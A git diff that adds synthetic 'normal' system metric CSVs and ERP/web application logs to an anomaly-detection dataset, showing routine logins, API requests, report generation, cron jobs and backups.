+2025-07-15T10:04:20Z,13.31,36.79,30.23,0.84,0.59 +2025-07-15T10:04:25Z,16.53,40.37,26.74,1.42,1.16 +2025-07-15T10:04:30Z,17.58,40.52,40.72,0.8,0.97 +2025-07-15T10:04:35Z,17.33,41.56,33.17,0.76,0.75 +2025-07-15T10:04:40Z,12.9,37.53,19.87,1.23,1.21 +2025-07-15T10:04:45Z,14.23,37.36,30.93,1.16,0.92 +2025-07-15T10:04:50Z,15.83,41.04,26.69,1.12,1.14 +2025-07-15T10:04:55Z,17.44,40.59,34.26,1.13,0.91 +2025-07-15T10:05:00Z,13.8,40.5,26.04,1.0,1.31 +2025-07-15T10:05:05Z,14.54,40.69,29.43,0.82,1.25 +2025-07-15T10:05:10Z,12.23,38.64,32.52,1.02,0.85 +2025-07-15T10:05:15Z,12.01,40.46,34.33,0.86,1.09 +2025-07-15T10:05:20Z,17.03,40.59,24.0,1.2,1.03 +2025-07-15T10:05:25Z,18.39,38.57,28.33,0.97,1.17 +2025-07-15T10:05:30Z,14.82,43.73,27.63,0.83,0.71 +2025-07-15T10:05:35Z,17.51,40.95,26.73,0.94,1.04 +2025-07-15T10:05:40Z,15.9,37.62,38.83,1.08,1.11 +2025-07-15T10:05:45Z,13.39,41.31,32.02,0.89,0.55 +2025-07-15T10:05:50Z,15.9,38.05,23.7,0.84,0.66 +2025-07-15T10:05:55Z,18.85,41.57,34.59,1.05,0.49 +2025-07-15T10:06:00Z,14.91,42.32,40.61,1.05,0.85 +2025-07-15T10:06:05Z,18.91,38.36,35.16,0.9,1.04 +2025-07-15T10:06:10Z,8.45,41.93,22.4,0.91,1.2 +2025-07-15T10:06:15Z,17.05,40.83,27.58,1.05,0.91 +2025-07-15T10:06:20Z,15.22,41.64,36.33,0.71,1.23 +2025-07-15T10:06:25Z,14.25,43.79,26.46,0.72,0.62 +2025-07-15T10:06:30Z,15.23,39.51,32.22,0.86,0.56 +2025-07-15T10:06:35Z,10.03,38.49,33.87,0.96,0.89 +2025-07-15T10:06:40Z,14.45,38.22,25.37,1.06,0.98 +2025-07-15T10:06:45Z,15.89,38.37,29.7,1.3,0.89 +2025-07-15T10:06:50Z,18.69,39.85,15.0,1.17,0.49 +2025-07-15T10:06:55Z,13.7,40.68,24.88,0.97,0.88 +2025-07-15T10:07:00Z,12.98,40.55,28.74,1.0,0.64 +2025-07-15T10:07:05Z,13.75,41.65,23.76,0.8,1.03 +2025-07-15T10:07:10Z,17.29,40.03,38.16,1.0,0.97 +2025-07-15T10:07:15Z,15.82,42.91,22.85,0.94,0.71 +2025-07-15T10:07:20Z,13.68,39.47,27.8,1.06,0.8 +2025-07-15T10:07:25Z,16.28,45.44,30.65,0.83,0.69 diff --git a/norm_dataset/scenario_9/norm_9_1.log b/norm_dataset/scenario_9/norm_9_1.log new file mode 100644 index 0000000000000000000000000000000000000000..98405771936a924d5a5c56c6696125515b957026 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_1.log @@ -0,0 +1,45 @@ +Jul 15 10:00:15 web-app[2233]: GET /api/v1/customers/CUST-820 status=200 OK +Jul 15 10:00:20 web-app[2233]: INFO Generating weekly 报表 'Sales Summary' for user 'drew'. +Jul 15 10:00:30 web-app[2233]: GET /api/v1/invoices/INV-2025-07-148 status=200 OK +Jul 15 10:00:40 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:00:55 web-app[2233]: INFO User 'casey' submitted expense report 'EXP-498' for审批. +Jul 15 10:01:00 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 15 10:01:20 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 15 10:01:35 web-app[2233]: INFO Generating weekly 报表 'Sales Summary' for user 'drew'. +Jul 15 10:01:40 web-app[2233]: POST /api/v1/payments status=201 Created +Jul 15 10:01:45 systemd[1]: Starting daily backup activities... +Jul 15 10:01:50 web-app[2233]: INFO User 'casey' submitted expense report 'EXP-409' for审批. +Jul 15 10:02:05 web-app[2233]: INFO Generating weekly 报表 'Sales Summary' for user 'drew'. +Jul 15 10:02:15 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:02:25 web-app[2233]: INFO Generating weekly 报表 'Sales Summary' for user 'drew'. +Jul 15 10:02:30 web-app[2233]: INFO Generating weekly 报表 'Sales Summary' for user 'drew'. +Jul 15 10:02:35 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 15 10:02:55 web-app[2233]: GET /api/v1/invoices/INV-2025-07-183 status=200 OK +Jul 15 10:03:10 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 15 10:03:35 web-app[2233]: INFO Generating weekly 报表 'Sales Summary' for user 'drew'. +Jul 15 10:03:45 web-app[2233]: INFO User 'alex' viewed dashboard. +Jul 15 10:03:50 web-app[2233]: INFO User 'casey' submitted expense report 'EXP-432' for审批. +Jul 15 10:03:55 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 15 10:04:05 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 15 10:04:10 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:04:30 web-app[2233]: POST /api/v1/payments status=201 Created +Jul 15 10:04:35 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 15 10:04:40 web-app[2233]: GET /api/v1/customers/CUST-839 status=200 OK +Jul 15 10:04:55 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:05:05 web-app[2233]: GET /api/v1/customers/CUST-825 status=200 OK +Jul 15 10:05:10 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:05:20 web-app[2233]: GET /api/v1/customers/CUST-896 status=200 OK +Jul 15 10:05:35 systemd[1]: Starting daily backup activities... +Jul 15 10:05:50 web-app[2233]: INFO Generating weekly 报表 'Sales Summary' for user 'drew'. +Jul 15 10:05:55 web-app[2233]: INFO User 'casey' submitted expense report 'EXP-432' for审批. +Jul 15 10:06:15 web-app[2233]: INFO User 'alex' viewed dashboard. +Jul 15 10:06:20 web-app[2233]: INFO Generating weekly 报表 'Sales Summary' for user 'drew'. +Jul 15 10:06:30 web-app[2233]: INFO Generating weekly 报表 'Sales Summary' for user 'drew'. +Jul 15 10:06:40 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 15 10:06:45 web-app[2233]: INFO User 'casey' submitted expense report 'EXP-401' for审批. +Jul 15 10:06:50 web-app[2233]: GET /api/v1/customers/CUST-835 status=200 OK +Jul 15 10:06:55 web-app[2233]: POST /api/v1/payments status=201 Created +Jul 15 10:07:00 web-app[2233]: INFO Generating weekly 报表 'Sales Summary' for user 'drew'. +Jul 15 10:07:05 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 15 10:07:10 web-app[2233]: GET /api/v1/user/profile status=200 OK +Jul 15 10:07:15 web-app[2233]: INFO User 'casey' submitted expense report 'EXP-471' for审批. diff --git a/norm_dataset/scenario_9/norm_9_10.csv b/norm_dataset/scenario_9/norm_9_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..5a25d9afeaf2276a0cc578c51e7968eda88e0665 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,17.24,41.72,18.62,0.62,0.85 +2025-07-15T10:00:05Z,19.1,46.31,14.23,0.91,1.11 +2025-07-15T10:00:10Z,18.78,46.71,19.19,0.83,1.01 +2025-07-15T10:00:15Z,15.87,44.12,25.05,0.86,1.06 +2025-07-15T10:00:20Z,18.81,44.76,20.09,1.45,0.6 +2025-07-15T10:00:25Z,19.51,46.4,23.27,0.83,1.19 +2025-07-15T10:00:30Z,17.1,44.75,16.77,1.17,0.66 +2025-07-15T10:00:35Z,14.75,39.03,25.04,1.0,0.89 +2025-07-15T10:00:40Z,17.89,46.29,17.47,1.07,1.2 +2025-07-15T10:00:45Z,13.08,50.16,22.1,1.27,0.71 +2025-07-15T10:00:50Z,13.67,41.03,19.61,0.72,0.82 +2025-07-15T10:00:55Z,16.85,42.21,24.49,0.91,1.07 +2025-07-15T10:01:00Z,15.23,44.62,15.75,1.14,1.06 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0000000000000000000000000000000000000000..8d5090d240685d9dedd44a0766e34b60dc3070ed --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_10.log @@ -0,0 +1,28 @@ +Jul 15 10:00:00 erp-auth[5678]: INFO Authentication successful for user 'maria.g' +Jul 15 10:00:45 erp-api[4567]: GET /api/v1/products/PROD-5544 status=200 OK +Jul 15 10:00:55 erp-auth[5678]: INFO Authentication successful for user 'maria.g' +Jul 15 10:01:20 erp-core[1122]: INFO User 'alex.j' logged in successfully from ip 192.168.1.10 +Jul 15 10:01:30 erp-orders[3456]: INFO New purchase order 'PO-2025-789' created by 'john.d' +Jul 15 10:01:35 erp-auth[5678]: INFO Authentication successful for user 'maria.g' +Jul 15 10:01:45 erp-api[4567]: GET /api/v1/products/PROD-5544 status=200 OK +Jul 15 10:02:15 erp-inventory[2345]: INFO 25 units of 'PROD-1010' allocated to order 'SO-2025-991'. +Jul 15 10:02:20 erp-auth[5678]: INFO Authentication successful for user 'maria.g' +Jul 15 10:02:45 erp-core[1122]: INFO User 'sara.w' accessed customer record 'CUST-00123' +Jul 15 10:03:05 erp-core[1122]: INFO User 'sara.w' viewed dashboard. +Jul 15 10:03:35 erp-api[4567]: GET /api/v1/customers/CUST-00123 status=200 OK +Jul 15 10:03:50 erp-core[1122]: INFO User 'sara.w' viewed dashboard. +Jul 15 10:04:00 erp-core[1122]: INFO User 'sara.w' accessed customer record 'CUST-00123' +Jul 15 10:04:05 erp-orders[3456]: INFO New purchase order 'PO-2025-789' created by 'john.d' +Jul 15 10:04:15 erp-core[1122]: INFO User 'alex.j' logged in successfully from ip 192.168.1.10 +Jul 15 10:04:20 erp-core[1122]: INFO User 'sara.w' viewed dashboard. +Jul 15 10:04:30 erp-core[1122]: INFO User 'alex.j' logged in successfully from ip 192.168.1.10 +Jul 15 10:04:50 erp-core[1122]: INFO User 'sara.w' accessed customer record 'CUST-00123' +Jul 15 10:05:00 erp-api[4567]: GET /api/v1/customers/CUST-00123 status=200 OK +Jul 15 10:05:50 erp-core[1122]: INFO User 'alex.j' logged in successfully from ip 192.168.1.10 +Jul 15 10:06:00 erp-api[4567]: GET /api/v1/products/PROD-5544 status=200 OK +Jul 15 10:06:15 erp-core[1122]: INFO User 'sara.w' accessed customer record 'CUST-00123' +Jul 15 10:06:20 erp-api[4567]: GET /api/v1/products/PROD-5544 status=200 OK +Jul 15 10:06:30 erp-inventory[2345]: INFO Stock level for 'PROD-5544' updated to 950 units. +Jul 15 10:07:10 erp-auth[5678]: INFO Authentication successful for user 'maria.g' +Jul 15 10:07:15 erp-api[4567]: GET /api/v1/products/PROD-5544 status=200 OK +Jul 15 10:07:20 erp-api[4567]: GET /api/v1/products/PROD-5544 status=200 OK diff --git a/norm_dataset/scenario_9/norm_9_11.csv b/norm_dataset/scenario_9/norm_9_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..e12dde48288ee3a52ef8e0f423d357c3c033a997 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,16.24,45.29,33.13,1.63,1.13 +2025-07-15T10:00:05Z,14.65,47.91,25.71,0.77,1.38 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+2025-07-15T10:06:50Z,18.69,44.77,15.0,1.46,0.48 +2025-07-15T10:06:55Z,13.7,46.02,24.88,1.15,0.98 +2025-07-15T10:07:00Z,12.98,45.83,28.74,1.19,0.67 +2025-07-15T10:07:05Z,13.75,47.48,23.76,0.9,1.17 +2025-07-15T10:07:10Z,17.29,45.04,38.16,1.19,1.09 +2025-07-15T10:07:15Z,15.82,49.36,22.85,1.11,0.77 +2025-07-15T10:07:20Z,13.68,44.21,27.8,1.3,0.87 +2025-07-15T10:07:25Z,16.28,53.16,30.65,0.95,0.74 diff --git a/norm_dataset/scenario_9/norm_9_11.log b/norm_dataset/scenario_9/norm_9_11.log new file mode 100644 index 0000000000000000000000000000000000000000..1874c591bb70d5d3186b54a6dda0963ef72d7d69 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_11.log @@ -0,0 +1,55 @@ +Jul 15 10:00:05 erp-app[3341]: POST /api/v1/items/new status=201 Created +Jul 15 10:00:18 systemd[1]: systemd[1]: Started session 123 of user admin. +Jul 15 10:00:22 systemd[1]: systemd[1]: Started session 123 of user admin. +Jul 15 10:00:27 erp-app[3341]: POST /api/v1/items/new status=201 Created +Jul 15 10:00:34 erp-app[3341]: PUT /api/v1/settings/profile status=200 OK +Jul 15 10:00:38 kubelet[2345]: kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:00:50 systemd[1]: systemd[1]: Started session 123 of user admin. +Jul 15 10:00:57 erp-app[3341]: GET /api/v1/inventory/search?q=item-123 status=200 OK +Jul 15 10:01:00 erp-app[3341]: PUT /api/v1/settings/profile status=200 OK +Jul 15 10:01:11 kubelet[2345]: kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:01:23 erp-app[3341]: GET /api/v1/users/7 status=200 OK +Jul 15 10:01:26 CRON[4521]: systemd[1]: Starting daily user session cleanup... +Jul 15 10:01:39 erp-app[3341]: GET /api/v1/products status=200 OK +Jul 15 10:01:51 erp-app[3341]: GET /api/v1/products status=200 OK +Jul 15 10:02:02 erp-app[3341]: GET /api/v1/inventory/search?q=item-123 status=200 OK +Jul 15 10:02:12 CRON[4521]: CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:02:15 systemd[1]: systemd[1]: Starting daily user session cleanup... +Jul 15 10:02:18 erp-app[3341]: INFO User 9 updated their profile +Jul 15 10:02:21 erp-app[3341]: POST /api/v1/items/new status=201 Created +Jul 15 10:02:27 erp-app[3341]: INFO User 9 updated their profile +Jul 15 10:02:35 systemd[1]: systemd[1]: Starting daily user session cleanup... +Jul 15 10:02:44 erp-app[3341]: INFO User 9 updated their profile +Jul 15 10:02:48 systemd[1]: systemd[1]: Started session 123 of user admin. +Jul 15 10:03:01 erp-app[3341]: INFO User 9 updated their profile +Jul 15 10:03:06 erp-app[3341]: INFO User 5 successfully logged in +Jul 15 10:03:11 erp-app[3341]: INFO User 5 successfully logged in +Jul 15 10:03:24 kubelet[2345]: kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:03:28 systemd[1]: systemd[1]: Starting daily user session cleanup... +Jul 15 10:03:33 erp-app[3341]: POST /api/v1/items/new status=201 Created +Jul 15 10:03:44 erp-app[3341]: INFO User 5 successfully logged in +Jul 15 10:03:51 kubelet[2345]: kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:04:03 erp-app[3341]: INFO User 5 successfully logged in +Jul 15 10:04:14 erp-app[3341]: GET /api/v1/dashboard status=200 OK +Jul 15 10:04:23 erp-app[3341]: GET /api/v1/inventory/search?q=item-123 status=200 OK +Jul 15 10:04:35 kubelet[2345]: kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:04:46 erp-app[3341]: GET /api/v1/dashboard status=200 OK +Jul 15 10:04:52 erp-app[3341]: GET /api/v1/products status=200 OK +Jul 15 10:04:58 CRON[4521]: systemd[1]: Starting daily user session cleanup... +Jul 15 10:05:09 systemd[1]: systemd[1]: Started session 123 of user admin. +Jul 15 10:05:15 erp-app[3341]: GET /api/v1/inventory/search?q=item-123 status=200 OK +Jul 15 10:05:19 erp-app[3341]: INFO User 9 updated their profile +Jul 15 10:05:29 erp-app[3341]: GET /api/v1/dashboard status=200 OK +Jul 15 10:05:43 erp-app[3341]: POST /api/v1/items/new status=201 Created +Jul 15 10:05:55 erp-app[3341]: GET /api/v1/products status=200 OK +Jul 15 10:06:02 erp-app[3341]: GET /api/v1/inventory/search?q=item-123 status=200 OK +Jul 15 10:06:08 systemd[1]: systemd[1]: Starting daily user session cleanup... +Jul 15 10:06:12 systemd[1]: CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:06:25 systemd[1]: systemd[1]: Started session 123 of user admin. +Jul 15 10:06:32 erp-app[3341]: GET /api/v1/products status=200 OK +Jul 15 10:06:35 erp-app[3341]: PUT /api/v1/settings/profile status=200 OK +Jul 15 10:06:43 erp-app[3341]: PUT /api/v1/settings/profile status=200 OK +Jul 15 10:06:51 erp-app[3341]: GET /api/v1/inventory/search?q=item-123 status=200 OK +Jul 15 10:07:00 erp-app[3341]: GET /api/v1/invoices/list?page=2 status=200 OK +Jul 15 10:07:13 erp-app[3341]: INFO User 9 updated their profile +Jul 15 10:07:22 erp-app[3341]: GET /api/v1/products status=200 OK diff --git a/norm_dataset/scenario_9/norm_9_12.csv b/norm_dataset/scenario_9/norm_9_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..cc05ddf1dcaf2afd3f315794e06a33c5f84ba9f1 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-31T09:00:00Z,31.84,41.66,16.51,2.31,1.65 +2025-07-31T09:00:05Z,32.77,44.5,17.18,2.12,1.26 +2025-07-31T09:00:10Z,33.93,46.08,20.39,1.18,2.58 +2025-07-31T09:00:15Z,37.56,44.68,22.67,1.38,2.21 +2025-07-31T09:00:20Z,32.18,48.11,22.01,1.68,1.96 +2025-07-31T09:00:25Z,32.73,52.14,15.0,1.78,2.23 +2025-07-31T09:00:30Z,31.71,45.93,19.63,1.3,1.86 +2025-07-31T09:00:35Z,36.63,49.07,24.55,0.99,2.22 +2025-07-31T09:00:40Z,28.92,52.04,18.17,1.03,2.01 +2025-07-31T09:00:45Z,33.75,51.14,22.5,1.52,1.61 +2025-07-31T09:00:50Z,36.19,44.34,23.63,1.75,1.6 +2025-07-31T09:00:55Z,36.91,49.25,21.16,1.29,1.51 +2025-07-31T09:01:00Z,36.52,45.88,27.65,1.88,2.5 +2025-07-31T09:01:05Z,42.87,50.66,28.88,2.03,1.72 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+2025-07-31T09:02:50Z,47.07,58.81,36.02,2.11,1.99 +2025-07-31T09:02:55Z,44.03,54.78,34.02,1.62,1.81 +2025-07-31T09:03:00Z,46.33,60.46,40.89,1.5,1.6 +2025-07-31T09:03:05Z,49.02,54.86,25.22,2.08,2.05 +2025-07-31T09:03:10Z,47.12,58.89,44.2,1.48,1.44 +2025-07-31T09:03:15Z,48.42,60.96,38.07,1.52,1.81 +2025-07-31T09:03:20Z,51.48,60.23,35.51,1.41,1.77 +2025-07-31T09:03:25Z,53.52,63.12,36.9,1.42,2.31 +2025-07-31T09:03:30Z,52.8,63.06,36.34,1.58,1.85 +2025-07-31T09:03:35Z,51.95,61.47,42.86,1.62,1.42 +2025-07-31T09:03:40Z,48.11,59.26,46.3,1.22,2.42 +2025-07-31T09:03:45Z,50.74,61.89,41.11,1.26,1.87 +2025-07-31T09:03:50Z,47.82,62.35,39.72,1.62,1.67 +2025-07-31T09:03:55Z,50.75,60.73,43.97,1.46,1.65 +2025-07-31T09:04:00Z,49.27,68.35,44.18,1.49,2.28 +2025-07-31T09:04:05Z,48.93,61.0,37.3,1.98,2.49 +2025-07-31T09:04:10Z,49.18,61.12,47.29,1.84,2.04 +2025-07-31T09:04:15Z,49.11,63.92,37.22,2.16,2.55 +2025-07-31T09:04:20Z,52.96,63.23,56.14,2.25,1.44 +2025-07-31T09:04:25Z,53.55,66.13,40.73,1.62,1.59 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/dev/null +++ b/norm_dataset/scenario_9/norm_9_12.log @@ -0,0 +1,54 @@ +Jul 31 09:00:00 erp-app[1889]: WARN High number of records processed for report generation by user 'accounting_mgr@example.com'. Performance may be impacted. +Jul 31 09:00:15 erp-app[1889]: INFO User 'finance_user_1@example.com' successfully completed the monthly payroll settlement. +Jul 31 09:00:20 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'auditor@example.com'. +Jul 31 09:00:55 erp-app[1889]: INFO User 'auditor@example.com' initiated end-of-month settlement process for department 'Sales'. +Jul 31 09:01:05 erp-app[1889]: WARN High number of records processed for report generation by user 'erp_admin@example.com'. Performance may be impacted. +Jul 31 09:01:10 erp-app[1889]: INFO User 'erp_admin@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:01:20 erp-app[1889]: INFO User 'accounting_mgr@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:01:25 erp-app[1889]: INFO User 'finance_user_1@example.com' submitted expense approvals batch EOB-7891. +Jul 31 09:01:30 erp-app[1889]: INFO User 'finance_user_1@example.com' submitted expense approvals batch EOB-7891. +Jul 31 09:01:35 erp-app[1889]: INFO Generating quarterly financial report 'Q3_Financials' for user 'finance_user_1@example.com'. +Jul 31 09:01:40 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'finance_user_1@example.com'. +Jul 31 09:01:45 erp-app[1889]: INFO User 'erp_admin@example.com' initiated end-of-month settlement process for department 'Sales'. +Jul 31 09:01:50 erp-app[1889]: INFO User 'finance_user_1@example.com' initiated end-of-month settlement process for department 'Sales'. +Jul 31 09:02:15 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'reporting_analyst@example.com'. +Jul 31 09:02:25 erp-app[1889]: WARN High number of records processed for report generation by user 'erp_admin@example.com'. Performance may be impacted. +Jul 31 09:02:30 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'auditor@example.com'. +Jul 31 09:02:50 erp-app[1889]: INFO User 'reporting_analyst@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:03:30 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'erp_admin@example.com'. +Jul 31 09:03:40 erp-app[1889]: INFO User 'erp_admin@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:03:45 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'auditor@example.com'. +Jul 31 09:03:50 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'auditor@example.com'. +Jul 31 09:04:00 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'finance_user_1@example.com'. +Jul 31 09:04:05 erp-app[1889]: INFO Generating quarterly financial report 'Q3_Financials' for user 'accounting_mgr@example.com'. +Jul 31 09:04:10 erp-app[1889]: INFO User 'accounting_mgr@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:04:15 erp-app[1889]: INFO User 'erp_admin@example.com' initiated end-of-month settlement process for department 'Sales'. +Jul 31 09:04:20 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'reporting_analyst@example.com'. +Jul 31 09:04:25 erp-app[1889]: INFO User 'auditor@example.com' submitted expense approvals batch EOB-7891. +Jul 31 09:04:30 erp-app[1889]: INFO User 'erp_admin@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:04:35 erp-app[1889]: INFO Approval workflow started for settlement batch #99A-FGH by user 'erp_admin@example.com'. +Jul 31 09:04:50 erp-app[1889]: INFO Approval workflow started for settlement batch #99A-FGH by user 'accounting_mgr@example.com'. +Jul 31 09:04:55 erp-app[1889]: INFO User 'reporting_analyst@example.com' submitted expense approvals batch EOB-7891. +Jul 31 09:05:10 erp-app[1889]: INFO Generating quarterly financial report 'Q3_Financials' for user 'auditor@example.com'. +Jul 31 09:05:20 erp-app[1889]: INFO User 'finance_user_1@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:05:35 erp-app[1889]: INFO User 'finance_user_1@example.com' successfully completed the monthly payroll settlement. +Jul 31 09:05:40 erp-app[1889]: INFO User 'finance_user_1@example.com' submitted expense approvals batch EOB-7891. +Jul 31 09:05:45 erp-app[1889]: WARN High number of records processed for report generation by user 'erp_admin@example.com'. Performance may be impacted. +Jul 31 09:05:50 erp-app[1889]: INFO User 'auditor@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:05:55 erp-app[1889]: INFO User 'finance_user_1@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:06:00 erp-app[1889]: INFO User 'erp_admin@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:06:05 erp-app[1889]: INFO Generating quarterly financial report 'Q3_Financials' for user 'erp_admin@example.com'. +Jul 31 09:06:15 erp-app[1889]: INFO User 'accounting_mgr@example.com' is viewing the audit log for financial closing activities. +Jul 31 09:06:20 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'auditor@example.com'. +Jul 31 09:06:25 erp-app[1889]: INFO User 'auditor@example.com' successfully completed the monthly payroll settlement. +Jul 31 09:06:30 erp-app[1889]: INFO User 'erp_admin@example.com' successfully completed the monthly payroll settlement. +Jul 31 09:06:45 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'auditor@example.com'. +Jul 31 09:06:50 erp-app[1889]: DEBUG Fetching account reconciliation data for user 'finance_user_1@example.com'. +Jul 31 09:06:55 erp-app[1889]: WARN High number of records processed for report generation by user 'finance_user_1@example.com'. Performance may be impacted. +Jul 31 09:07:00 erp-app[1889]: WARN High number of records processed for report generation by user 'finance_user_1@example.com'. Performance may be impacted. +Jul 31 09:07:05 erp-app[1889]: INFO User 'auditor@example.com' initiated end-of-month settlement process for department 'Sales'. +Jul 31 09:07:10 erp-app[1889]: INFO Approval workflow started for settlement batch #99A-FGH by user 'reporting_analyst@example.com'. +Jul 31 09:07:15 erp-app[1889]: INFO User 'finance_user_1@example.com' initiated end-of-month settlement process for department 'Sales'. +Jul 31 09:07:20 erp-app[1889]: INFO Generating quarterly financial report 'Q3_Financials' for user 'auditor@example.com'. +Jul 31 09:07:25 erp-app[1889]: WARN High number of records processed for report generation by user 'reporting_analyst@example.com'. Performance may be impacted. +Jul 31 09:07:25 erp-app[1889]: INFO All scheduled settlement tasks have been queued. diff --git a/norm_dataset/scenario_9/norm_9_13.csv b/norm_dataset/scenario_9/norm_9_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..8d3b28f8fb34c0990275dcd597b89f43f5fcff9c --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-28T10:00:00Z,18.07,35.99,16.51,2.01,0.92 +2025-07-28T10:00:05Z,19.38,39.13,17.03,1.83,0.74 +2025-07-28T10:00:10Z,21.06,40.76,20.1,0.9,1.41 +2025-07-28T10:00:15Z,26.88,38.82,22.24,1.11,1.23 +2025-07-28T10:00:20Z,17.67,42.66,21.43,1.42,1.12 +2025-07-28T10:00:25Z,18.34,47.24,12.28,1.53,1.26 +2025-07-28T10:00:30Z,16.41,39.52,18.77,1.06,1.09 +2025-07-28T10:00:35Z,24.37,43.01,23.54,0.76,1.28 +2025-07-28T10:00:40Z,11.28,46.32,17.02,0.81,1.19 +2025-07-28T10:00:45Z,19.08,44.97,21.2,1.31,0.99 +2025-07-28T10:00:50Z,22.9,36.54,22.18,1.55,1.0 +2025-07-28T10:00:55Z,23.87,42.17,19.57,1.1,0.96 +2025-07-28T10:01:00Z,22.98,37.86,25.92,1.7,1.47 +2025-07-28T10:01:05Z,33.32,43.33,27.01,1.86,1.09 +2025-07-28T10:01:10Z,22.8,42.33,22.59,1.44,1.17 +2025-07-28T10:01:15Z,29.96,47.52,24.51,1.31,0.97 +2025-07-28T10:01:20Z,25.53,49.57,22.0,1.1,0.77 +2025-07-28T10:01:25Z,19.8,45.99,23.93,1.22,1.16 +2025-07-28T10:01:30Z,27.36,47.42,27.72,1.42,1.15 +2025-07-28T10:01:35Z,19.28,35.84,26.04,1.67,1.13 +2025-07-28T10:01:40Z,18.83,43.94,21.63,1.44,1.24 +2025-07-28T10:01:45Z,22.19,42.61,28.23,1.57,1.36 +2025-07-28T10:01:50Z,33.31,40.37,15.27,1.14,1.35 +2025-07-28T10:01:55Z,26.02,45.53,33.36,1.77,1.22 +2025-07-28T10:02:00Z,29.36,44.65,26.23,1.6,1.6 +2025-07-28T10:02:05Z,34.62,42.21,30.22,2.04,1.48 +2025-07-28T10:02:10Z,28.39,43.57,31.73,1.15,0.97 +2025-07-28T10:02:15Z,26.04,45.49,28.6,0.82,1.15 +2025-07-28T10:02:20Z,31.66,47.81,24.46,1.71,1.38 +2025-07-28T10:02:25Z,27.7,51.44,28.74,1.73,1.26 +2025-07-28T10:02:30Z,27.36,48.73,29.83,1.01,1.37 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b/norm_dataset/scenario_9/norm_9_13.log new file mode 100644 index 0000000000000000000000000000000000000000..53652de09db09ead12eb95311aea45e0f403d0d0 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_13.log @@ -0,0 +1,44 @@ +Jul 28 10:00:05 erp-app[3456]: POST /api/v2/reports/generate status=201 Created user_id=301 +Jul 28 10:00:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 28 10:01:05 erp-app[3456]: INFO User 'charlie_finance' submitted settlement batch ID 1513 for approval. +Jul 28 10:01:30 erp-app[3456]: INFO User 'alice' submitted settlement batch ID 1449 for approval. +Jul 28 10:01:35 systemd[1]: Starting daily backup activities... +Jul 28 10:01:40 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 28 10:01:50 erp-app[3456]: INFO Generating report 'quarterly_summary' for user 'alice'. +Jul 28 10:01:55 erp-app[3456]: POST /api/v2/reports/generate status=201 Created user_id=301 +Jul 28 10:02:25 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 28 10:02:35 erp-app[3456]: INFO User 'bob' initiated financial closing for period '2025-07'. +Jul 28 10:02:45 erp-app[3456]: INFO Approval workflow 527 completed successfully. +Jul 28 10:02:55 systemd[1]: Starting daily backup activities... +Jul 28 10:03:10 erp-app[3456]: POST /api/v2/reports/generate status=201 Created user_id=301 +Jul 28 10:03:15 systemd[1]: Starting daily 